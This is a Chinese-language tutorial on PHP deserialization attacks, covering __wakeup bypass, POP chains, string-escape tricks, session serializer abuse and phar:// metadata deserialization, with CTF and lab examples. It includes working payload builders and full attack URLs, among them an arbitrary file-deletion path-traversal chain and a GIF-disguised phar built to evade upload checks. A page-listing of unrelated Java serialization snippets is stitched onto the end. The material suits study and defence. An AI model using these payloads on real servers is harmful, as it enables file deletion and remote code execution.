    O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
    在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的 username 重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct,跳过__wakeup()。

    在反序列化字符串时,属性个数的值大于实际属性个数时**(CVE-2016-7124)**,会跳过 __wakeup()函数的执行

    O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
    

    不过还是没有结束,因为这个声明变量是 private,private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0 的前缀。字符串长度也包括所加前缀的长度
    O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}

    关于触发__tostring()

    __tostring的触发方式比较多,单独列了出来

    __toString 当一个对象被当作一个字符串使用

    1. echo( o b j ) / p r i n t ( obj) / print( obj)/print(obj)将其打印出来的时候
    2. “I am {$obj}” / 'test '. $obj字符串连接
    3. sprintf(“I am %s”, $obj)格式化字符串
    4. if($obj == ‘admin’)与字符串进行= =比较的时候(从此也可以印证,PHP进行= =比较的时候会转换参数类型)
      5.格式化SQL语句,绑定参数的时候会被调用
    5. in _array($obj, [‘admin’, ‘guest’]), 数组中有字符串的时候会被调用
      7.正则匹配,字符串匹配(stripos)

    3.pop链反序列化漏洞

    什么是pop链,pop反序列化漏洞,漏洞产生原因,修复方法

    pop链定义

    把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

    通常反序列化的攻击是在魔术方法中出现一些可利用的漏洞,通过自动调用来触发漏洞。但是如果关键代码不在魔术方法中,而是在一个类的普通方法中。这个时候我们可以通过寻找相同的函数名将类的属性和敏感函数联系起来。

    本示例代码参考自l3m0n博客中的示例再结合本篇的示例撰写,在Example2中已经说到需要在当前类中跟踪魔术方法中调用的普通函数的数据传输过程;

    接下来的Example3,Example4,Example5是需要在类与类之间跟踪数据传输的过程,其中Example3中的__toString魔术方法调用了Delete()方法且在代码unserialize($_GET[‘data’]);与echo $user_data;满足反序列化函数可控和魔术方法触发的条件,接下来就需要跟踪_toString魔术方法中的数据传递过程。

    跟踪寻找Delete()方法,在Example5中发现了是一个做了安全处理Delete()的方法,在Example4中也存在了一个Delete()方法,但该方法存在安全问题;

    由protected o b j 与 obj与 objthis->obj = new Example5;可知道传入的是受保护的class(需要在序列化后对数据进行编码或者在星号*前后加上%00) 所以可以通过反序列化将$obj设置为 Example4,然后就会使用 Example4中存在安全问题的Delete()方法,导致任意文件删除漏洞。

    1.<?php
    
    2.class Example3
    
    3.{
    
    4.    protected $obj;
    
    5.
    
    6.    function __construct()
    
    7.    {
    
    8.        $this->obj = new Example5;
    
    9.    }
    
    10.
    
    11.    function __toString()
    
    12.    {
    
    13.        if (isset($this->obj)) return $this->obj->Delete();
    
    14.    }
    
    15.}
    
    16.
    
    17.class Example4
    
    18.{   public $cache_file;
    
    19.    function Delete()
    
    20.    {   $file = "/var/www/html/cache/tmp/{$this->cache_file}";
    
    21.        if (file_exists($file))
    
    22.        {
    
    23.            @unlink($file);
    
    24.        }
    
    25.
    
    26.        return 'I am a evil Delete function';
    
    27.    }
    
    28.}
    
    29.
    
    30.class Example5
    
    31.{
    
    32.    function Delete()
    
    33.    {
    
    34.        return 'I am a safe Delete function';
    
    35.    }
    
    36.}
    
    37.
    
    38.$user_data = unserialize($_GET['data']);
    
    39.echo $user_data;
    
    40.?>
    

    在站点根目录下创建文件名为thinking3的测试文件。

    root@ubuntu:/var/www/html# ls
    
    cache  test.php  thinking3
    

    使用如下代码构造payload,删除/var/www/html下的thinking3文件。

    1.<?php
    
    2.class Example3
    
    3.{
    
    4.    protected $obj;
    
    5.
    
    6.    function __construct()
    
    7.    {
    
    8.        $this->obj = new Example4;
    
    9.    }
    
    10.
    
    11.}
    
    12.
    
    13.class Example4
    
    14.{   public $cache_file = '../../thinking3';
    
    15.
    
    16.}
    
    17.
    
    18.$evil = new Example3();
    
    19.echo urlencode(serialize($evil));
    
    20.?>
    

    output:

    O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A8%3A%22Example4%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A15%3A%22..%2F..%2Fthinking3%22%3B%7D%7D
    

    payload:

    http://192.168.163.136/test.php?data=O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A8%3A%22Example4%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A15%3A%22..%2F..%2Fthinking3%22%3B%7D%7D
    

    or

    http://192.168.163.136/test.php?data=O:8:"Example3":1:{s:6:"%00*%00obj";O:8:"Example4":1:{s:10:"cache_file";s:15:"../../thinking3";}}
    

    这就是一个简单的反序列化的例子,通过构造pop链,实现魔法函数与普通函数的调用,在不同类之间跳转,最后执行功能点处的代码,实现漏洞利用。

    4.反序列化的逃逸

    替换变长,替换变短,漏洞产生原因,修复方法

    反序列化的特点

    首先要了解一下反序列化的一些特点:

    1. php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。
    class A{
    public $name='shy';
    public $pass='123456';
    }
    $lemon = new A();
    echo serialize($lemon);
    #反序列化后的结果为:
    O:1:"A":2:{s:4:"name";s:3:"shy";s:4:"pass";s:6:"123456";}
    

    超出的部分并不会被反序列化成功,如下图:
    图片

    这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。而且可以看到反序列化字符串都是以";}结束的,那如果把";}添入到需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就相应的丢弃了。

    1. 长度不对应的时候会报错
      在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败
      图片
    2. 可以反序列化类中不存在的元素
    <?php
    $str='O:1:"A":3:{s:4:"name";s:3:"shy";s:4:"pass";s:6:"123456";s:5:"pass2";s:6:"123456";}';
    var_dump(unserialize($str));123
    

    图片

    这些特点一定要清楚,否则在做题时可能就因为这些基础知识而做出不来。

    ctf中的反序列化

    ctf中的反序列化有两个共同的特点:

    1. php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化(变长、变短).
    2. 总是先进行序列化,再进行替换修改操作.

    经典题目:

    1. [0CTF 2016]piapiapia (替换变长)
    2. [安洵杯 2019]easy_serialize_php (替换变短)

    过滤后字符变多(替换变长)

    实验代码:

    #参考字节脉搏实验室
    <?php
    function lemon($string){
    $lemon = '/p/i';
    return preg_replace($lemon,'ww',$string);
    }
    $username = $_GET['a'];
    $age = '20';
    $user = array($username,$age);
    var_dump(serialize($user));
    echo "<br>";
    $r = lemon(serialize($user));
    var_dump($r);
    var_dump(unserialize($r));
    ?>
    

    正常输入的话
    图片

    因为我们输入的是apple,含有两个p,所以会被替换成四个w,但是发现长度并没有变化,因此根据反序列化的特点,指定的长度错误则反序列化就会失败。

    但是正是因为存在这个过滤,我们便可以去修改age的值,首先来看一下,原来序列化后";i:1;s:2:"20";}长度为16,我们已经知道了当输入一个p会替换成ww,所以如果输入16个p,那么会生成32个的w,所以如果我们输入16个p再加上构造的相同位数的";i:1;s:2:"30";},恰好是32位,即

    32 pppppppppppppppp";i:1;s:2:"30";}
    经过替换后
    32 wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
    

    所以非常明显了,在过滤后的序列化时会被32个w全部填充,从而使构造的代码";i:1;s:2:"30";}成功逃逸,修改了age的值,而原来的那";i:1;s:2:"20";}则被忽略了因为反序列化字符串都是以";}结束的,我们传入的";i:1;s:2:"30";}已经在前面成功闭合了
    图片

    过滤后字符变少(替换变短)

    搭建一个简单的实验环境代码如下:

    #参考Mr. Anonymous师傅的代码学习
    <?php
    function str_rep($string){
    return preg_replace( '/lemon|shy/','', $string);
    }
    $test['name'] = $_GET['name'];
    $test['sign'] = $_GET['sign'];
    $test['number'] = '2020';
    $temp = str_rep(serialize($test));
    printf($temp);
    $fake = unserialize($temp);
    echo '<br>';
    print("name:".$fake['name'].'<br>');
    print("sign:".$fake['sign'].'<br>');
    print("number:".$fake['number'].'<br>');
    ?>
    

    如果正常输入的话,回显出的结果如下:
    图片

    已经知道number的值是固定的2020

    如果想要修改这个值,就要在sign中加入";s:6:"number";s:4:"2000";},其长度为27,仔细观察便可以发现是利用反序列化的第一个特点底层代码是以;作为字段的分隔,以}作为结尾,想要将之前的number挡在序列化之外,从而可以反序列化自己构造的,但直接输入发现是不行的,并没有将我们输入的给反序列化了

    图片

    在实验代码中有替换功能,当遇到lemon 或 shy会自动替换为空,也这里用shy做为name的输入,故意输入敏感字符,替换为空之后来实现字符逃逸,三个字符变成零个字符,吃掉了三个字符,输入8个shy,也就是腾出了24个字符的空间,利用这个空间来进行构造,由于";s:4:"sign";s:54:"hello成了name的内容,所以还要在后面加个";s:4:"sign";s:4:"eval作为sign序列化的内容。

    图片

    这个构造其实也很简单,因为经过测试发现,";s:4:"sign";s:这个长度其实是不变的,变的是我们在参数sign输入的参数,这里假设输入9个shy,那么吃掉了27个字符,对应的就需要添加27个字符,目前";s:4:"sign";s:这个长度为15,所以还差12个,因为整个payload肯定是不超过100个字符的,所以加上后面的长度,也就是";s:4:"sign";s:xx:",这个长度为19,因此我们要输入的字符只需8个即可

    payload:

    http://127.0.0.1/1.php
    ?name=shyshyshyshyshyshyshyshyshy
    &sign=hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}
    
    

    图片

    这样便可以将number的值给更改了

    当少变多的时候,往往在后面跟着闭合并且将后面的键值对挤出去。

    当多变少的时候,往往是两个参数,通过前面的参数吃掉中间的部分,后面的部分就可以随意构造了。

    5. PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

    phpsession,漏洞产生原因,修复方法

    php session

    首先了解下 php session 的三种存储方式

    存储机制

    php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

    存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

    假设我们的环境是xampp,那么默认配置如上所述。

    在默认配置情况下:

    <?php
    session_start()
    $_SESSION['name'] = 'spoock';
    var_dump();
    ?>
    

    最后的session的存储和显示如下:
    图片

    可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock";。name是键值,s:6:"spoock";serialize("spoock")的结果。

    在php_serialize引擎下:

    <?php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['name'] = 'spoock';
    var_dump();
    ?>
    

    SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。
    h

    在php_binary引擎下:

    <?php
    ini_set('session.serialize_handler', 'php_binary');
    session_start();
    $_SESSION['name'] = 'spoock';
    var_dump();
    ?>
    

    SESSION文件的内容是names:6:"spoock";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)
    php session 在服务器中默认的文件名

    sess_PHPSESSID(phpsessid 是一组字符串)图片

    web3考核

    这是题目的源码

    <?php
    highlight_file(__FILE__);
    $content = @$_GET['content'] ? "---mylocalnote---\n" . $_GET['content'] : "";
    $name = @$_GET['name'] ? $_GET['name'] : '';
    str_replace('/', '', $name);
    str_replace('\\', '', $name);
    file_put_contents("/tmp/" . $name, $content);
    session_start();
    if (isset($_SESSION['username'])) {
    echo "Thank u,{$_SESSION['username']}";
    }
    //flag in flag.php
    

    可以得知 flag 在 flag.php 中去访问 flag.phg,提示不是 admin 用户
    图片

    可以看到我们写入的文件存储到了 tmp 目录下,而 session 的存储位置:一般是存储在/tmp 下,我们可以通过改变 session 存储文件中的值,产生反序列化漏洞

    图片

    php 储存 session 的三种方式:

    php_serialize 经过 serialize()函数序列化数组

    php 键名+竖线+经过 serialize()函数处理的值

    php_binary 键名的长度对应的 ascii 字符+键名+serialize()函数序列化的值

    php 是默认的存储方式

    如何改变 session 存储文件中的值?

    需要将 username 的值改为 admin,也就是?content=admin|s:5:“admin”&name=sess_phpsessid图片

    name 对于我们是可控的,name 也只是做了简单的过滤,没有影响

    而 content,在前面加了一串字符,我们需要是这传字符失效图片

    也就是让 content 的值为?content=|N;admin|s:5:“admin”;

    图片

    再次访问 flag.php 就可以得到 flag

    6.phar伪协议触发php反序列化

    phar协议知识,phar反序列化漏洞,漏洞产生原因,修复方法

    PHAR压缩包

    PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本,那么Phar后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。

    PHAR文件缺省状态是只读的,使用Phar文件不需要任何的配置。部署非常方便。因为我们现在需要创建一个自己的Phar文件,所以需要允许写入Phar文件,这需要修改一下php.ini

    打开php.ini,找到phar.readonly指令行,修改成:

    phar.readonly = 0
    

    创建一个phar压缩包

    <?php
    $phar = new Phar('swoole.phar');
    $phar->buildFromDirectory(__DIR__.'/../', '/\.php$/');
    $phar->compressFiles(Phar::GZ);
    $phar->stopBuffering();
    $phar->setStub($phar->createDefaultStub('lib_config.php'));
    

    new Phar的参数是压缩包的名称。buildFromDirectory指定压缩的目录,第二个参数可通过正则来制定压缩文件的扩展名。
    Phar::GZ表示使用gzip来压缩此文件。也支持bz2压缩。参数修改为 PHAR::BZ2即可。

    setSub用来设置启动加载的文件。默认会自动加载并执行 lib_config.php。

    执行此代码后,即生成一个swoole.phar文件。

    使用phar压缩包

    <?php
    include 'swoole.phar';
    include 'swoole.phar/code/page.php';
    

    使用phar可以很方便的打包你的代码,集成部署到线上机器。

    phar文件结构

    查阅手册可知一个phar文件有四部分构成:

    1.a stub

    可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

    1. a manifest describing the contents
      phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
      3.the file contents
      被压缩文件的内容。
    2. [optional] a signature for verifying Phar integrity (phar file format only)
      签名,放在文件末尾
    <?php
    class TestObject {
    }
    
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    ?>
    

    可以明显的看到meta-data是以序列化的形式存储的:
    图片

    有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

    图片

    php底层源码处理,也是调用了unserialize()

    php-src/ext/phar/phar.c

    图片

    phar_test1.php

    <?php
    class TestObject {
    public function __destruct() {
    echo 'Destruct called';
    }
    }
    
    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename);
    ?>
    

    图片

    其他函数当然也是可行的:

    phar_test2.php

    <?php
    class TestObject {
    public function __destruct() {
    echo 'Destruct called';
    }
    }
    $filename = 'phar://phar.phar/a_random_string';
    file_exists($filename);
    //......
    ?>
    

    当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。

    将phar伪造成其他格式的文件

    在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

    
    <?php
    class TestObject {
    }
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    ?>
    

    图片

    成功伪造了文件的类型,采用这种方法可以绕过很大一部分上传检测。

    漏洞利用

    phar文件本质上是一种压缩文件,使用phar://协议读取文件时, 文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata) 信息会被反,序列化。这就引出了我们攻击手法最核心的流程。

    构造phar(元数据中含有恶意序列化内容)文件–>.上传–>触发反序列化最后-步是寻找触发phar文件元数据反序列化。其实php中有大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta -data进行反序列化。该方法在文件系统函数(file_ exists()、 is. _dir()等) 参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

    任何漏洞或攻击手法不能实际利用,都是纸上谈兵。在利用之前,先来看一下这种攻击的利用条件。

    1. phar文件要能够上传到服务器端。
    2. 要有可用的魔术方法作为“跳板”。
    3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

    防御

    1. 在文件系统函数的参数可控时,对参数进行严格的过滤。
    2. 严格检查上传文件的内容,而不是只检查文件头。
    3. 在条件允许的情况下禁用可执行系统命令、代码的危险函数。

    phar其他利用方式

    phar LFIhttps://www.jianshu.com/p/3b09ab7487e7

    phar文件上传

    参考链接:

    师傅们总结的都很好,感谢分享。

    PHP反序列化漏洞简介及相关技巧小结https://www.freebuf.com/articles/web/209975.html

    最全的PHP反序列化漏洞的理解和应用https://www.freebuf.com/column/202607.html

    初探反序列化与POP CHAINhttps://www.freebuf.com/column/154530.html

    浅析php反序列化字符串逃逸https://blog.csdn.net/qq_43431158/article/details/108210822

    浅谈php序列化字符串逃逸https://www.cnblogs.com/hello-there/p/12870541.html

    深入解析PHP中SESSION反序列化机制https://www.jb51.net/article/107101.htm

    PHP中phar包的使用http://rango.swoole.com/archives/168

    利用 phar 拓展 php 反序列化漏洞攻击面https://paper.seebug.org/680/

    展开全文
  • hermes架构的Github地址 可跨进程的EventBus 的Github地址 更多完整项目下载。未完待续。源码。图文知识后续上传github。...面试官: 序列化与反序列化的原理,Android的Parcelable与Serializable区别是什...
  • Java 反序列化工具 gadgetinspector 初窥

    千次阅读 2019-09-18 10:21:16
    作者:Longofo@知道创宇404实验室 时间:2019年9月4日 ...起因 一开始是听@Badcode师傅说的这个工具,在Black Hat 2018的一个议题...这是一个基于字节码静态分析的、利用已知技巧自动查找从source到sink的反序列化利用...
  • 使用一个用户(包含name和pwd属性)创建10个对象,按照用户年龄升序排序,若年龄相同则按姓名的字符自然次序排序,然后把10个对象序列化并写入d盘中,并通过实现反序列化循环输出。
  • 尝试扩展Hessian早期版本反序列化,使其支持jdk8可序列化lambda表达式引出解决1. 实现反序列化逻辑2. 给dubbo里的hessian用无法解决的问题 引出 dubbo版本2.5.3 内置默认序列化hessian.io 在调用传参有函数接口时,...
  • Jackson序列化,反序列化,和泛型

    千次阅读 2020-06-11 14:07:12
    在序列化和反序列化的过程中,泛型是永远离不开的主题,那么泛型有哪几种呢?Jackson又是如何来处理这些问题的呢? 泛型的类型参考 index Name Example 1 ParameterizedType 参数化类型,即泛型;例如:List...
  • dump_only 如果True在反序列化过程中跳过此字段,则其值将出现在反序列化的对象中。在HTTP API的上下文中,这有效地将该字段标记为“只读”。 error_messages 值为字典类型,可以用来替代默认的字段异常提示语,...
  • 序列化与反序列化

    千次阅读 多人点赞 2018-10-06 21:44:30
    序列化的意义 序列化面临的挑战 基于JDK 序列化方式实现 序列化的高阶认识 serialVersionUID 的作用 静态变量序列化 父类的序列化 Transient 关键字 常见的序列化技术 JAVA序列化框架 XML 序列化框架 ...
  • 虚拟机是否允许反序列化,不仅取决于路径和功能代码是否一致,一个非常重要的一点是两个的序列化 ID 是否一致(就是 private static final long serialVersionUID) 序列化并不保存静态变量 序列化子父类...
  • Java的JSON库有很多,本文分析google的Gson和alibaba的fastjson,在Java泛型场景反序列化的一些有意思的行为。考虑下面的json字符串: [ "2147483648", "2147483647" ] 用fastjson在不指定类型的情况下解析,下面...
  • 一个简单的Item,用来处理序列化和反序列化 public class Item { public String name; public int id; } 序列化的代码 Item toSerializeItem = new Item(); toSerializeItem.id = 2; toSerializeItem.name ...
  • Go语言没有的概念,但是可以通过结构体实现面向对象编程。 结构体是一种自定义数据类型,其可以封装任何类型。 示例: type house struct { size, price float64 style string } 上例house是自定义结构体类型,...
  • 添加第三方引用 using Newtonsoft.Json;.../// 匿名类型解析 /// </summary> /// <typeparam name="T"></typeparam> /// <param name="jsonString"></param> /// <p...
  • redisson缓存序列化几枚“坑”说明

    千次阅读 2019-07-02 18:56:24
    redisson结合Spring使用时,会有RedissonSpringCacheManager,将redissonClient自动注入,另外还有codec的概念,即序列化和反序列化,可以查看实现,就几种实现,假设我们使用org.redisson.codec.JsonJacksonCode....
  • 与SerializeConfig不同的是,配置类和对应反序列类的IdentityHashMap是该类的私有成员,构造函数的时候就将基础反序列化类加载进入IdentityHashMap中。 2. JSONLexer  JSONLexer是个接口类,定义了各种当前...
  • ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload; 由于其中部分payload使用到的低版本JDK中的,所以建议自己私下分析学习时使用低版本JDK JDK版本建议在1.7u21以下...
  • 2019独角兽企业重金招聘Python工程师标准...分两步,先反序列化出ArrayList,然后在一个个的把JsonObject转成classOfT类型的对象。 转载于:https://my.oschina.net/wangdaoliang/blog/994939
  • Gson全解析 Gson基础 前言 最近在研究Retrofit中使用的Gson的时候,发现对Gson的一些深层次的概念和使用比较模糊,...Gson(又称Google Gson)是Google公司发布的一个开放源代码的Java库,主要用途为序列化Jav...
  • (二)你如何理解序列化?有哪些方式序列化?(三)给我谈谈Java中的内部类。(四)闭包和内部类的区别?(五)为什么局部内部类访问局部变量需要final?(六)静态属性和静态方法能被继承吗?静态方法又是否能被重写...
  • Java对象序列化与反序列化

    千次阅读 2016-07-25 22:59:18
    序列化运行时使用一个称为 serialVersionUID 的版本号与每个可序列化类相关联,该序列号在反序列化过程中用于验证序列化对象的发送者和接收者是否为该对象加载了与序列化兼容的类。为了提高serialVersionUID的独立性...
  • 一、pickle模块 ... 将数据转为二进制(序列化)进行存储  例子:   # 存储到变量中 dic = {"name": "张三", "psw": 123} #将数据序列化为二进制 data = pickle.dumps(dic...
  • 0x00 知识点 自从 Orange 在 2017年的 hitcon 出了一个 0day 的 php phar:// 反序列化给整个安全界开启了新世界的大门以后,...Orange 的思路(我只能 orz),到现在 phar:// 反序列化已经成为了各大 CTF 炙手可热的...
  • GSON使用笔记(3) -- 如何反序列化出List 时间2014-06-26 17:57:06CSDN博客原文http://blog.csdn.net/zxhoo/article/details/34856061 本文通过3个问题来讨论如何使用GSON把JSON反序列化为List。 问题1 有这样...
  • Flink 类型和序列化机制

    千次阅读 2020-08-31 12:11:32
    把字节序列恢复为Java对象的过程称为对象的反序列化。 对象的序列化主要有两种用途: 1) 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中; 2) 在网络上传送对象的字节序列。序列化的好处:减少数据在...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 15,536
精华内容 6,214
关键字:

匿名内部类反序列化